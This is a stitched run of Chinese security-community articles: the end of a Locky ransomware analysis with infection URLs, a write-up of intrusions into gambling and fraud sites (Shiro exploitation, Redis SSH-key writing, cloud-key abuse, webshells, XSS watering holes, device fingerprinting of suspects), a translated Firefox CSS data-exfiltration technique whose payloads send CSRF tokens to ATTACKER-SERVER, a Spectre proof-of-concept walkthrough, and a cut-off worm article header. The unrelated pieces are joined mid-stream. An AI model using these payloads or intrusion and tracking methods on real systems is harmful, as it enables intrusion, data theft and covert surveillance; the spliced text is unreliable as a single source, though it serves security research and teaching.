接下来，我们就要分析这种恶意活动中的钓鱼行为了，实际上其最终目的就是为了在目标用户的计算机中下载一个恶意木马。我们在脚本代码中发现，该脚本会选择五个域名中的其中还一个，并在末尾追加一个非常长的字符串变量。
在对代码中嵌套的for循环进行仔细分析之后你会发现，每一次请求之后都会在拼接好的URL结尾添加一个字符变量。如果这里没有添加字符变量的话，你将会再次下载第二步骤中的脚本。如下图所示，红色部分标记的就是追加的字符：
GET请求的响应结果是一个PNG文件，但是却被保存为了一个EXE可执行文件：
最终被下载下来的文件是一个使用[UPX](http://www.amazon.com/Practical-Malware-Analysis-Hands-Dissecting/dp/1593272901/ref=as_li_bk_tl/?tag=ringzerolabs-20&linkId=64e930fd60ce41df53c1bf212736b0fc&linkCode=ktl)封装(UPX
(the Ultimate Packer for eXecutables)是一款先进的可执行程序文件压缩工具，压缩过的可执行文件体积可缩小50%-70%
，这样减少了磁盘占用空间、网络上传下载的时间以及存储空间)的可执行文件，这个文件在VirusTotal上已经有很多次检测实例了。你可以使用免费的UPX工具来对这个可执行文件进行拆封。即使这个文件采用了UPX封装，但反病毒引擎仍然能够识别出该文件就是著名的勒索软件Locky：
**
**
**注入的恶意文件**
Install-MSOffice365-WebView-Plugin-Update-0.165.11a.exe.js
[由九位随机的字符/数字命名].exe
**
**
**网络流量**
http://gritfitnesstraining.com/counter/?aD75cxs-h1cis8VurT7CP6OVC5sTkggkP0tfQOUHTZJ9jheseaWP4EpglrB8_TqDYQwKRq7j-PFz10hrfTJb5Xn8o0CJzI-OYIZKKs5__bDnNcQ9WWenNAo-RXFy0
http://amirmanzurescobar.com//counter/?aTZJ9jheseaWP4EpglrB8_TqDYQwKRq7j-PFz10hrfTJb5Xn8o0CJzI-OYIZKKs5__bDnNcQ9WWenNAo-RXFy2
**检测结果**
初始感染向量：【[检测结果-CSV](https://otx.alienvault.com/otxapi/pulses/599a062491b7a91414f83fc2/export?format=csv)】 | 社区文章 |
**作者：风起**
## 前言
大家好，我是风起。本次带来的是对于新型网络犯罪的渗透研究，区别于常规的渗透测试任务，针对该类站点主要核心不在于找出尽可能多的安全隐患，更多的聚焦于
**数据** 这个概念。值得注意的是，这里的数据更多时候指的是： **代理身份** 、 **后台管理员身份** 、 **受害人信息** 、 **后台数据**
、 **消费凭证** 等信息。总的来说，一切的数据提取都是为了更好的落实团伙人员的身份信息。
所以无论是获取权限后的水坑钓鱼还是拿到数据库权限后提取信息亦或者提取镜像数据的操作都是在这个基础之上的。本文将以深入浅出的方式对渗透该类犯罪站点时的一些注意事项作出讲解，希望能够对注焦于此的安全人员有所帮助。
**本文仅作安全研究，切勿违法乱纪** 。
## 攻击初识
以下即为一个常见的博彩类站点，首先我们可以对该类站点的功能进行盘点。
首先从在线客服这里来讲，一般来讲博彩诈骗类站点都使用 **美洽客服系统**
较多，也因为其安全、部署便捷的缘故而被广大该类站点开发者所使用。目前来讲，针对该客服系统感觉并没有什么漏洞，所以通常使用钓鱼的方式来突破客服口，而常常对于有一定规模的团伙，他们的
**客服跟财务**
通常是同一业务团队，所以在以往的渗透中发现，在其客服机上常常存在大量的受害人信息及下级代理信息，这里大家可以重点注意一下，以钓鱼的方式突破客服口往往有意想不到的收获，毕竟无论在哪里
**人永远是最大的漏洞** 。
对该类站点渗透经验丰富的师傅，可以通过客服样式直接判断，当然也可以通过前端代码匹配关键字进行更为精准的判断目标客服系统。
往往该类博彩站点都是以移动端APP作为主要方式使用，所以在快速渗透的过程中我们可以优先反编译审计一下目标APP中是否存在一些敏感信息，例如提取URL拓宽战线、获取AK/SK控制云服务器。往往在提取APP中敏感信息会有意外之喜，下图为一次渗透目标中提取到的一些敏感信息。
网上有不少敏感信息自动提取的工具，这里我用的比较多的是 **ApkAnalyser**
，当然GA部门也有专门的设备用于提取，工作性质不同所能利用的资源也不尽相同。
对于一些代码能力较强的师傅，也可以直接通过反编译APK包审计代码，寻找敏感信息，当然这里建立在APP没有加壳等防护手段的基础上。
通常，对于需要重点注意的关键词如： **Password** 、 **id** 、 **accessKeyId** 、 **Username** 、
**accessKeySecret** 、 **mysql** 、 **redis** 等等，这里根据攻击者对于 **敏感性** 概念的认知做提取操作。
如上图，为一次渗透目标中，通过APP反编译得知目标AK/SK凭证，并且得知OSS服务为aliyun厂商，地域香港。于是直接获取到OSS服务权限，并且通过阿里云API命令执行上线C2。当然，OSS对象存储也是我们需要注意的一个点，通常为了方便起见，会将受害人的信息上传到OSS服务。
具体通过AK/SK对阿里云服务器进行命令操作的方式不再赘述，感兴趣的小伙伴可以自行查看下面链接使用。
Aliyun API:
[https://api.aliyun.com/#/?product=Ecs&version=2014-05-26&api=RunCommand&tab=DEMO&lang=JAVA](https://api.aliyun.com/#/?product=Ecs&version=2014-05-26&api=RunCommand&tab=DEMO&lang=JAVA)
### 记一次有趣的渗透过程
整个攻击过程大概如上图，简单的画了一下思维导图。
该案例也是较大规模一个博彩目标，通过前期的信息收集及渗透工作，对博彩站点的主站并没有拿下什么成果，但是在对客服系统的测试中，通过与其客服人员交流得知该博彩平台玩家均使用内部自研的聊天工具沟通（也是为了躲避GA部门的取证方式）。于是我们将战线转至该聊天系统，在聊天系统下载页发现目标使用了Apche
Shiro框架，于是很顺利的打了一波顺利拿下权限，但是该主机为tomcatuser权限较低，且发现没有其他的服务，仅提供下载作用，总之并没有特别的收获，于是继续拓宽战线。
这里根据对目标页面的Title作为特征，快速提取了52条结果，并且经过存活性验证及渗透，共拿下20余台主机权限，当然有一个很有趣的小Tips，就是这些站点并不是一成不变的，有的页面在默认页不存在Shiro，但是访问特定的登录页面下就出现Shiro框架了，这也跟shiro配置路由原因有关。
在拿下的多台服务器后，打扫战场成果的时候，我们发现有几台服务器的权限为root。使用fscan对内网快速扫描了一下，发现内网IP中开放了不少mysql，redis，oracle等服务。该内网中使用大量的反向代理，有不少公网IP在拿下权限后指向的却是相同的内网服务器。其中，居然还部署了JumpServer堡垒机，不得不说，这个目标确实有点东西，通常堡垒机也是为了集中管理服务器准备的。但是很遗憾，通过之前爆出的JumpServer
RCE漏洞并没有利用成功。
继续对这些服务器上配置文件的审计，我们找到了通往Mysql/redis数据库的密码。
这里通过密码复用，对内网中使用redis数据库的主机进行写入SSH
KEY的方式获取权限，且均为root权限。继续使用获取到的mysql密码，顺利登录多台内网数据库，因为我是用冰蝎管理webshell权限的，所以使用的是它的数据库管理功能测试连通性的。这里我们需要把端口代理出去，其实这里没有什么难度，因为其内部防火墙规则对于一些端口进行了限制，所以我们仅能通过80等端口入网。这里我使用的是Neo-Regeorg正向代理的HTTP流量。但是速度有些慢，后面使用NPS监听端口为80同样可以。
通过对数据库中进行取证，发现了主站客服系统、后台管理系统的登录密码，这里包括了该组织运营的其他博彩站点后台管理，这也算是意外之喜了。
而在线上取证基本完成的时候，本着仔细的态度，我又一次对拿下的权限进行盘点。惊喜的发现有一台主机为Windows
Server主机，但是却无法写入内存马。这时通过certutil远程下载了github上的Webshell获取到了权限。
通过对该服务器的分析审计后，我们不难看出，这是该团伙技术人员的运维机，上面存放了大量的服务器相关数据，利用上面的信息咱们又可以深层次的收割服务，提权。利用上面的SecureCRT管理的主机，读取了一波SecureCRT管理的密码，成功获取到博彩站点主站权限，至此全线渗透完毕。
之所以能拿下这台运维机，无疑有运气的成分，如果他们的技术人员不部署有相同存在漏洞的下载页服务，也不会发现该隐蔽的运维主机。
至于真实的渗透，更多的讲究对于攻击的理解，以及知识面灵活的组合利用。实际攻击中确实没有上面讲的那么一帆风顺。这里笔者大体将整个渗透过程基本的还原了一下，有些其他的支线渗透细节没有提到，主要还是围绕最终拿到主站权限讲解的，并且将中间踩过的坑省略掉了，尽量让读者读起来舒服一点。
记得当时搞到凌晨1点多，拍照纪念一下~
## 快速关联目标
相信多数工作业务目标为博彩站点的小伙伴，都会被这样的一个问题困惑，那就是如何关联相同组织团伙的站点问题。是的，绝大多数情况下，由于博彩类团伙的服务器站点有着
**目标多** 、 **关联难** 、 **时效低**
等特点。常常我们在研判分析的时候，线索会被牵得到处跑。往往信息收集到的站点在几天之内就失效，转移服务器了。针对这样的问题，其实也有更高效的目标资产关联方式，在此之前我们引入以下概念。
**行为**
：不同的群体，可能表现出基本的独有的特征，当我们能掌握到这个特征，那么我们就能尽可能识别出这个群体里的所有个体，而这些所谓的行为特征在网络空间测绘里表现出的是这个设备各个端口协议里的banner特征。
这里，我们使用 **Kunyu（坤舆）**
利用目标证书序列号作为行为特征关联匹配，可以看到匹配到6条IP结果，得知该6台服务器均使用了HTTPS协议，使用了Apache以及Nginx中间件，服务器厂商使用了
**simcentric** 的服务器（ **新天域互联（ _Simcentric_
），是香港知名的大型互联网基础服务商和idc服务商**），网站Title标题，以及更新时间（更新时间有助于快速确认目标服务最近的有效存活时间）。
**P.S.本文编写日期为2021/10/13 ，所以可以看到目标服务最近的有效存活时间距离为近三天。**
根据上面获得的信息，作进一步关联结果如下图。
这里进一步的对某台服务器的开放服务进行深一步盘点，从而为后面渗透做准备，往往对于这类站点，节俭的诈骗团伙会在一台服务器上部署多个站点，所以常常通过旁站获取服务器权限的案例屡试不爽。有时候渗透这类诈骗站点难度并不高，往往就是比拼的就是信息收集的全面性。当然对于财大气粗的博彩团伙，可能就是另一套体系方式了，这块知识点下面会讲到，我们继续来看。
**这里我们最常提取的特征像favicon图标hash码，HTTPS证书序列号，前端代码段，服务连接banner等。**
所以这里我们提取目标前端JS代码，这也是最为准确的方式，通过不同个体对于规则概念的理解，所编写指纹的匹配关联度、精准度都不同。
这里我们提取 `url: '/addons/active/xxxxx/saveuser.html'` 作为指纹匹配
发现共匹配到116条结果，可以得知大部分为微软云以及Cloud Innovation
Limited(香港)的服务器，并且多数在国内，这里Kunyu默认显示前20条结果。
验证一下准确性，通过https访问该IP地址发现其前端页面代码中也存在同样的代码片段，并且其他部分与其完全一致，至此可以判断该站与最初的站点为同一模块。
当然也支持多因素查找，这里截取了两段前端代码，发现匹配结果为108条，多条件匹配下的精准度会更高！这里不仅可以是前端代码之间组合，也可以使用banner信息，端口信息，ISP等信息组合，根据大家对该组织特征的认知编写指纹即可，都可以有效的关联起涉案站点。
**总之，对于数据的认知很重要** 。
除了上面所述的方式关联，也可以通过网站上的favicon图标来作关联，这里以一个伪造政府网站的案例列举，他使用了国徽样式的图标作为网站favicon图标，但是因为该图标经过它们的修改，所以具有了唯一性，可以通过favicon图标精准的关联起全网所有使用该伪造图标的站点，共93条结果。
favicon图标样式如上，从更新时间也不难看出，该团伙人员从较早就已经开始做这块业务。并且服务器多数在国内，IDC不是主流大厂的云服务器（较难提取服务器镜像），中间件服务相同，说明国内应该有软件开发公司为其批量维护服务器。可以看到部分服务器还有使用HTTPS协议，那么我们可以使用上面提到的使用证书匹配进行深度关联信息。
**至此对该团伙伪造政府网站的相关服务器站点一网打尽。**
使用Kunyu匹配到的数据，会自动保存为Excel格式，方便后期整理情报时使用。
上面利用 **Kunyu（坤舆）** 对研判分析涉案站点时，解决了关联站点难的技术疼点，使信息收集工作更加高效，希望能够对大家日常的研判分析工作有所帮助。
对于涉案站点数据的思考，其实更多的时候，我们想要梳理的是 **组织架构** ， **人员关系**
，这才是核心问题。我始终认为，数据就在那里，他蕴含了很多的信息，至于我们能从不同的数据中得到什么信息，也取决于研判分析人员对于数据的认知，溯源的过程也就是对数据整合的过程，往往情报不是摆在那里的，而是经过缜密的分析以及情报关系之间的相互印证得到的，这也是考研溯源人员能力的关键所在。
同样对于GA部门，网络空间测绘技术的运用也可以应用于关联某一团伙的服务器信息，进行封禁处理，总的来说，对于Kunyu应用在反诈工作的方面，我认为是很妥当的。在以往的渗透及研判分析过程中，通过Kunyu获取隐蔽资产拿下权限的情况非常多。也可以一目了然对测绘数据的信息进行盘点。
**我们应赋予数据以灵魂，而不仅仅只是认识数据，能用它做什么事儿，达到什么效果，取决于解决方案的认知高低。**
**——风起**
**Kunyu Donwload:** [Kunyu（坤舆）更高效的企业资产收集](https://github.com/knownsec/Kunyu/)
## 指纹概念的思考
在获取服务器权限后，我们常常会通过水坑攻击的方式获取后台管理员尽可能多的信息，这里我在日常的工作中最常使用的方式就是在管理员后台登录成功的位置插入一段XSS代码，当然这里也可以是类似于jsonp劫持的代码段，主要是用以获取管理员的个人信息。这里以其服务器代码中插入钓鱼代码也是因为一个
**信任度**
的问题，试想一下对于一个不太懂安全的运维人员来讲，如果你发给他一个文件叫他点开，那么正常人一般是有所警惕，但是在其自己的网站弹出的窗口，那么就大概率会去向上信任。这也是水坑钓鱼的核心思想所在。
所以，我也一直认为，社工的过程也是对 **人**
这个因素的考量，之所以讲人才是最大的安全漏洞，也正因为这是我们不可预测的因素，我们无法判断一个人的思想，但是我们可以换位思考，带入角色去思考问题才是最佳的方式。也正是这种不可预测性，使我们在渗透中有了更多的可能性。而面对博彩类站点进行水坑攻击，我们最在意的信息无非就是：
**设备信息** 、 **位置信息** 、 **社交平台ID信息** 、 **登录IP** 、 **登录频率** 、 **登录时间** 等。
本段将从风起对 **水坑钓鱼** 过程中，对于指纹概念的思考进行讲解，希望能引起读者的一点共鸣。
这种以XSS获取登录信息的方式无疑是最简单部署、高效的方式了，但是大家一定发现了。这种方法有着很致命的缺点就是得到的IP地址、设备信息，有着 **数量多**
、 **杂乱** 、 **不稳定**
的特点。试想一下，浏览器指纹信息，如果一台设备他在多个地方使用，且浏览器是交替使用的。那么我们就无可考证是否是同一台设备，仅能判断出移动设备的型号，而多数团伙的移动设备都是同一购买相同型号的老式手机，也具有一定的躲避追查的效果。至于电脑端的使用就无可考证了，仅能判断出操作系统信息。所以下面我们引入
**高级指纹** 的概念。
这里我们首先感谢一下 ruyueattention（ **狗安超** ）的技术支持，风起的头号铁杆小弟嘻嘻，感谢他 :)
**示例 Demo 页面**
回显给用户的结果给如上，具体布局分为 **WebGl 3D图像部分** 、 **Canvas图像部分** 、 **GPU渲染部分** 、
**基础指纹部分** 、 **综合指纹部分** 。用户可对数据进行各个部分的分析处理。
跨浏览器指纹识别采集的信息要求是不同设备中是存在差异化的，并且不能被用户随意的修改。因此这里不能像单浏览器一样选择用户代理等不同浏览器是特异性的数据。同时为了保证准确度和唯一性，我们这里选取的要求如下：
**1、差异化**
**2、用户无法篡改**
**3、设备稳定性**
基于此，这里可供选择的指纹只剩下了硬件指纹和部分基础指纹，这里硬件指纹作为主导以保证指纹唯一性，而基础指纹只能作为辅助以便提高准确度。
分析搭建在公网上的系统测试结果，通过对数据库中的数据进行比对分析。理想情况下是存在50种设备指纹，100种浏览器的指纹。而系统一共收集了48个样本(设备)的指纹，100个浏览器的指纹。其中浏览器指纹始终没有出现冲突，而对于跨浏览器指纹（设备）指纹则有出现冲突的情况。但并未出现同IP下，不同设备指纹的情况。即50个设备中的100个浏览器中生成的指纹均是独立不重复的。
通过上图可以看到，在相同IP下，使用不同的浏览器访问Demo测试界面，其UA指纹是不同的，但是其设备指纹却是唯一的，也就是说，哪怕同一目标使用了不同的浏览器，在不同的地理位置登录，我们都能掌握到该设备的唯一指纹。这里的computer指纹是由设备多个硬件的指纹组合计算而来。相同型号的不同设备设备之间也会存在差异性，这样我们掌握到这个唯一的指纹，就可以将嫌疑人的设备数量给统计出来。
某种意义来讲，我们发现该设备例如在潍坊登录，另一条记录在云南登录，尽管其他的 **浏览器指纹** ， **系统指纹**
不同，但是根据该设备指纹，我们也可以推断出为同一台设备，对不同时间的登录信息统计后，从而掌握到该团伙后台管理员的行踪轨迹，也解决了某些严密组织的团伙并不通过公共交通出行，导致根据飞机高铁记录无法追溯到嫌疑人的难题。
总的来说，在整个溯源体系中，指纹都是很重要的一个概念，例如目前的蜜罐系统抓取到访问设备的社交账号ID从而溯源到人员信息，也是利用了指纹的唯一性，将用户ID作为指纹来看从而实现定位到个人身份的效果。那么大家试想一下，同样的，犯罪团伙的人员也会去看一些视频平台，当用户数据涉及国内的时候，就不是那么难以取证了。
**对于高级指纹取证展示Demo已经完成，当然最后上线到实战环境进行取证还有一段时间，主要是我懒哈哈哈，等有时间了一定完成这个项目，毕竟老板们对Kunyu的需求还没写完呢，哈哈哈哈。**
## 唧唧歪歪
**本段为风起对反诈工作一点思考，也算是对于之前积累的经验的一点回顾吧。**
首先，从目前的博彩团伙的网络服务部署来看，已经开始运用前后端的操作。这里的前后端与我们做开发的概念不同，像数据库与前端页面做了站库分离操作。从公网无法直接访问到数据库，当然他们这么做的目的也并不是为了防止黑客攻击，毕竟拿下前端服务器同样可以通过配置文件获得登录凭证。他们这么做的主要目的还是为了快速转移业务，因为现在国家打击力度比较大，通常像博彩、诈骗类的站点时效性都很低，尤其像诈骗类诈骗基本就是打一枪换一个地。所以既然数据都在后端的数据库，那么他们可以随时抛弃掉这个前端服务器，只需要把站点重新部署在新的服务器即可替换业务系统，这也是博彩类站点为什么有那么多的域名节点的原因之一，当然也因为怕被封禁掉。
当下来看，这两类团伙的网络安全能力跟意识虽然有所提升，但是还是不成熟的。尤其是像诈骗类，业务系统几乎千疮百孔，且意图十分明显，就是尽可能的获取用户的个人信息，这些大量的个人信息不仅可以用于精准诈骗，当然也可以作为数据贩卖，这也就牵扯出了一条黑色产业链。也不乏有从事黑灰产的人，攻击这些站点，获取公民信息，拿到暗网之类的地方出售。
在我们上班摸鱼，水群的同时， **"勤劳，努力"**
的诈骗团伙们在深山老林经历着风吹雨打，据说想要改善改善伙食还要等成功到手一个目标后才可以。基本来讲可以说是条件艰苦，环境恶劣，也不知道干这行图的啥。
**P.S. 博彩团伙肯定比这个精致多了，毕竟人家干的才是大业务。**
从数据统计来讲，诈骗涉及金额相比博彩并不多，真正涉案动辄几百万的就是博彩类了。所以对于博彩站点的渗透难度明显会高一点，且人员地域分布复杂，以前多数活动于云南临沧、昆明，福建等地。现在随着国内打击力度的不断提升，他们将服务器选择在国外，或者香港等地，给取证造成了不小的难度。人员基本活动于东南亚地带多一些，缅甸、柬埔寨、马来西亚、菲律宾都是他们的主要根据地。
这里给小伙伴普及一个小Tips，大家在渗透时一定要对目标的所有相关密码进行收集，有时候一些管理人员习惯以自己的名字拼音加生日作为密码，这时就可以通过这个落实到个人身份，当然这个如果是GA部门可以直接查，如果是乙方企业人员不妨将这个线索提交一下，说不得就能加条鸡腿呢。
**这里大家一定要注意一点，在渗透APP的时候，一定要使用模拟器或者专门的手机来做，因为一些APP会去收集手机上的通讯录，如果当APP获取通讯录权限时允许了。那么手机上所有的联系人信息都会被上传到远程数据库上，如果是诈骗相关的则会以此要挟受害者。博彩则会有专人对这些号码逐个拨打。毕竟，赌客的朋友也大概率会出现赌客，这也是一个概率的问题，通常以这样的方式来
"拉客"。**
**唧唧歪歪结束~**
## 后记
文章至此已经到了末尾，本次对新型网络犯罪攻防技术研究就告一段落。实际上目前的反诈形势还算不错，全民反诈的大环境下，人民的安全意识也有了明显的提升，这是好事儿。从目前来看大部分的诈骗、博彩团伙的反侦察能力虽然在逐日提升，但是还尚不成熟，并不是无迹可寻、天衣无缝。所以在对抗的过程中也是对溯源人员心理的考验，如何高效的研判分析，将一个个情报落实到实处，做出身份，都是对于能力的体现所在。
而溯源的过程也就是，将看似不关联的技术，灵活的运用起来，往往有意想不到的效果，实际上我认为渗透站点并不是反诈研判取证的全部，只能说作为辅助手段来收集线索。GA部门也有自己的一套研判手段，我也一直说站在不同的立场，能够掌握的资源是不同的，分工也是不同，所以我也一直将思维从纯粹的渗透者转向研判分析人员，区分有用的数据，落实到身份信息上这也正是我需要学习的，只能说
**道阻且长，行则将至** 吧。
**这里非常感谢青岛市刑警支队的段警官，实习时跟他学到了很多，感谢他 :)**
**最后祝大家心想事成，美梦成真！**
* * * | 社区文章 |
原文：[CSS data exfiltration in Firefox via a single injection
point](https://research.securitum.com/css-data-exfiltration-in-firefox-via-single-injection-point/)
作者：[Michał Bentkowski](https://research.securitum.com/authors/michal-bentkowski)
几个月之前我在Firefox中发现了一个安全问题[CVE-2019-17016](https://www.mozilla.org/en-US/security/advisories/mfsa2020-01/#CVE-2019-17016)。在分析该问题时，我想到一个在Firefox中通过CSS的单一注入点引发数据泄露的新技术。下面我将在这篇文章中与大家分享。
## 基础以及现有技术
为了便于举例，假设我们想要泄露<input>元素中的CSRF令牌。
<input type="hidden" name="csrftoken" value="SOME_VALUE">
由于CSP的缘故，我们不能使用脚本，所以要想其他方法解决样式注入的问题。传统的方法是使用属性选择器，例如：
input[name='csrftoken'][value^='a'] {
background: url(//ATTACKER-SERVER/leak/a);
}
input[name='csrftoken'][value^='b'] {
background: url(//ATTACKER-SERVER/leak/b);
}
...
input[name='csrftoken'][value^='z'] {
background: url(//ATTACKER-SERVER/leak/z);
}
按照CSS的应用规则，攻击者的服务器会收到一个HTTP请求，从而泄露令牌的第一个字符。之后要准备另一个包含第一个已知字符的样式表。例如：
input[name='csrftoken'][value^='aa'] {
background: url(//ATTACKER-SERVER/leak/aa);
}
input[name='csrftoken'][value^='ab'] {
background: url(//ATTACKER-SERVER/leak/ab);
}
...
input[name='csrftoken'][value^='az'] {
background: url(//ATTACKER-SERVER/leak/az);
}
通常我们会假设，需要通过重新加载`<iframe>`中加载的页面来提供后续的样式表。
[Pepe
Vila](https://twitter.com/cgvwzq)于2018年提出了一个了不起的概念，通过滥用[CSS递归导入](https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231)，我们可以用单一注入点在Chrome中实现相同的效果。Nathanial
Lattimer([@d0nutptr](https://twitter.com/d0nutptr))在2019年再次发现了这一技巧，但是[略有不同](https://medium.com/@d0nut/better-exfiltration-via-html-injection-31c72a2dae8b)。我会在下面总结Lattimer的方法，因为这个方法和我提出的Firefox中的方法十分接近，尽管（十分有趣地）在此之前我并不了解Lattimer的研究。所以也可以说，我再再次的发现了……
简而言之，第一次注入是一连串的导入(import)：
@import url(//ATTACKER-SERVER/polling?len=0);
@import url(//ATTACKER-SERVER/polling?len=1);
@import url(//ATTACKER-SERVER/polling?len=2);
...
接下来想法如下：
* 最开始，只有第一个@import返回一个样式表，其他的直接阻塞连接；
* 第一个@import返回一个泄露了令牌第一个字符的样式表；
* 当第一个泄露的字符到达ATTACKER-SERVER时，第二个@import将停止阻塞并返回一个包含第一个字符的样式表，同时尝试泄露第二个字符；
* 当第二个泄露的字符到达ATTACKER-SERVER时，第三个@import将停止阻塞……依此类推。
这个方法之所以有效是因为Chrome进程异步处理导入，所以当任一导入停止阻塞时，Chrome会立即对其进行解析并应用。
## Firefox以及样式表处理
上面的方法在Firefox中完全无法使用，因为Firefox对样式表的处理和Chrome不同。下面我会通过几个例子予以解释。
首先，Firefox同步处理样式表。所以如果样式表中存在多个导入，在所有导入处理完之前，Firefox不会应用任何CSS规则。考虑下面的例子：
<style>
@import '/polling/0';
@import '/polling/1';
@import '/polling/2';
</style>
假设第一个@import返回的CSS规则会把背景设置为蓝色，与此同时下一个导入被阻塞（即其不返回任何内容，HTTP连接被挂起）。Chrome中，页面会立即变为蓝色，而Firefox中，什么都不会发生。
可以通过将所有导入放在单独的`<style>`元素中来避免该问题：
<style>@import '/polling/0';</style>
<style>@import '/polling/1';</style>
<style>@import '/polling/2';</style>
在上面的例子中，Firefox会分别处理各样式表，所以页面会马上变成蓝色，而其他的导入仍在后台进行处理。
但是又会有另一个问题。假设我们要窃取10个字符的令牌：
<style>@import '/polling/0';</style>
<style>@import '/polling/1';</style>
<style>@import '/polling/2';</style>
...
<style>@import '/polling/10';</style>
Firefox会立刻排队处理所有的10个导入。第一个导入处理完后，Firefox会排队处理另一个带有泄露字符的请求。问题在于，这个请求会放在队列的尾端，而处理器默认最多只会维持对单个服务器的6个并发连接。所以这个带有泄露字符的请求永远无法到达服务器，因为与服务器之间还存在6个被阻塞的连接，于是陷入了死锁的状态。
## 解决方法：HTTP/2
TCP层强制限制6个连接数量，所以到单个服务器只能有6个并发TCP连接。这时我想到，HTTP/2可能会是个解决办法。如果你还没意识到HTTP/2带来的好处，它的一个主要卖点就是你可以在单个连接上发送多个HTTP请求（即多路传输[multiplexing](https://stackoverflow.com/questions/36517829/what-does-multiplexing-mean-in-http-2)），从而大大提高了性能。
Firefox在单个HTTP/2连接上也存在并发请求的限制，但该限制数量默认是100（在about:config的network.http.spdy.default-concurrent中定义）。如果需要更大值，我们可以强制Firefox使用其他主机名创建第二个TCP连接。例如，如果我建立100个对
<https://localhost:3000> 的连接以及50个对 <https://127.0.0.1:3000>
的连接，Firefox会创建两个TCP连接。
## 利用
现在我考虑好了构建一个有效利用的所有需求。下面是主要假设：
* 利用代码会在HTTP/2上实现；
* 端点(endpoint) /polling/:session/:index会返回一个CSS，泄露第index个字符。除非第index-1个字符已泄露，请求会被阻塞。参数session用于区分不同的泄露尝试；
* 端点/leak/:session/:value用于泄露令牌。参数value是指被泄露的整个值，而不只是最后一个字符；
* 为了强制Firefox建立两个TCP连接，一个端点通过 <https://localhost:3000> 到达，一个端点通过 <https://127.0.0.1:3000> 到达；
* 端点/generate用于生成示例代码。
我创建了一个[测试平台](https://github.com/securitum/research/blob/master/r2020_firefox-css-data-exfil/testbed.html)，可以在这里通过数据泄露窃取CSRF令牌。你可以通过[这里](https://htmlpreview.github.io/?https://github.com/securitum/research/blob/master/r2020_firefox-css-data-exfil/testbed.html)直接访问该平台。
[POC](https://github.com/securitum/research/blob/master/r2020_firefox-css-data-exfil/exploit.js)已经上传到Github，视频验证在[这里](https://research.securitum.com/wp-content/uploads/sites/2/2020/02/firefox-leak.mp4)。
有趣的是，由于使用了HTTP/2，该漏洞利用的速度十分迅速，泄露整个令牌的时间不超过3秒。
## 总结
在这篇文章中，我证明了如果你有一个注入点并且不想重新加载页面，可以通过CSS泄露数据。该方法之所以有效归功于两个因素：
* @import规则需要分别放到不同的样式表中，以防止后面的导入阻止整个样式表的处理；
* 为了绕过并发TCP连接数的限制，该漏洞利用需要在HTTP/2上执行。 | 社区文章 |
Author:天融信安全研究院
## 事件：
Spectre
事件的爆发，不仅仅让芯片厂商忙碌，而更是让安全研究人员无比兴奋，感觉就像是安全领域又被发现了一片处女地，让安全研究人员找到了新的探索领域；下面是我们针对Spectre攻击手法进行了详细分析；
## 概述：
现代处理器使用分支预测和投机执行来提高性能。比如一个条件语句的判断取决于内存中的一个值，cpu在内存读取到这个值的几个周期内会保存一个检测点，然后猜测一个条件分支去执行，当这个值读取后，cpu会将的正确分支于之前猜测的分支比较，如果错误返回检测点，如果正确了那么将大大提高cpu的执行效率。
Spectre攻击则是当一个恶意程序利用上面这个投机执行的机制，当我们构造恶意的分支来让投机执行机制去执行，虽然在cpu的会通过上面的检测点来纠正错误，但是恶意的分支会将偷取的信息放到缓存里，这时再利用侧信道攻击技术把信息从缓存中读出来。如下是一个c语言版的spectre的攻击
if (x < array1_size)
y = array2[array1[x] * 256];
`arrary1_size`表示`arrary1`数组（定义为`uint8_t`）的大小，如果我们在多次让`x`不会越过数组1的大小来让提升`cpu`投机执行会选择下面分支的概率，这是我们想窃取内存某个地址（`0x1234`）的内容，我们则令`x=0x1234-&arrary1`,此时`arrary1[x]`其实就是地址`0x1234`的值，通常情况`x`的值会大于`arrar1_size`但是，`array2[array1[x]
*
256]`会被放到缓存里，如果我们用flush+reload的技术遍历`arrary2[i*512]`，来确定其中那个i所对于的内存地址被放入缓存里，i的值就是地址`0x1234`的值。这样我们完成spectre攻击。以上c语言代码来自[1]。
## Cpu Cache
Cpu Cache是解决处理的时钟周期远大于内存时钟周期的方案。这里只做简单介绍具体内容可参考[2],[3],[4]。Cache是以Cach
line存储内容,intel目前每个处理器中Cache line为64字节，Cache 采用16-Way Set
Associative方式关联内存地址.将内存地址的低6位位cache line中的偏移，中间12位 set的偏移,详见[2]。其余高地址为tag。
## 侧信道攻击
本文只分析[1]中的flush+reload的方法，具体介绍参考[5]，大体思路是做一个上面代码中的arrary2这样的大数组，然后测量arrary2数组中的那个偏移的地址被放入缓存中如果放入，则此偏移就是我们想要窃取的内容。测量方法首先用cflush指令将之前的arrary2中放入缓存的全部踢出，如果其中有地址被放入缓存，那么我们遍历arrary2数组中的值时，放入缓存的地址的会比没放入的时间短。而且地址的偏移就是我们要获取的内容。测量指令执行时间可以用rdts指令。
## POC分析：
具体代码在[1]中的附录内。这里只讲一下大体利用思路
首先如图1所示：
图1
100行首先计算我们要窃取内容的地址与arrary1数组的相对偏移。Len是内容的长度。攻击代码是readMemoryByte函数，参数1就是相对偏移，value是窃取的内容，score是评判内容正确的参考。
第二部分flush+reload技术需要的数组和cpu 投机执行的代码
其中unused1和unused2是64字节防止arrary1和araary2还有arrary_size落入一个cacheline。512是尽量不要让后面的攻击代码落入一个set里。读者可以参考[2]里面的内容来思考这些数字的含义。
第三部分 flush+reload技术
首先是定义CACHE_HIT_THRESHOLD 此值是检测内存地址没有放入缓存时程序的执行时间和有被放入缓存时执行时间的差的参考。
其中
[
`_mm_flush`时`cflush`指令的c库函数。59行到61的算法时多次让提升`victim_function`分支正确的的概率，当`j%6`为`0`时，行61执行后x就是`malicious_x`，`malicious_x`是我们想要窃取内容地址和`arrary1`的相对偏移。64行执行完后，`arary2`中某个偏移会被放入缓存中而这个偏移值就是窃取的内容。这个flush攻击。
下面是获取偏移的代码
[
大体思路就是遍历arrary2中内存中的值，只不过步长是`i*512`，测量取值的时间。来判断那个偏移被放入缓存中，其中行69换成`mix_i=i`就好理解了，我测试了一些没有行69的准确率高，多次执行才能得到正确结果。为什么是这个我也不知道。
最后一步统计偏移的准确率
## 参考
[1]<https://spectreattack.com/spectre.pdf>
[2]<https://coolshell.cn/articles/10249.html>
[3] <http://blog.jobbole.com/85185/>
[4][<https://software.intel.com/sites/default/files/managed/a4/60/325384-sdm-vol-3abcd.pdf> 第11章
[5] FLUSH+RELOAD: a high resolution, low noise, L3 cache side-channel attack | 社区文章 |
# 【技术分享】一个 ELF 蠕虫分析
|
##### 译文声明
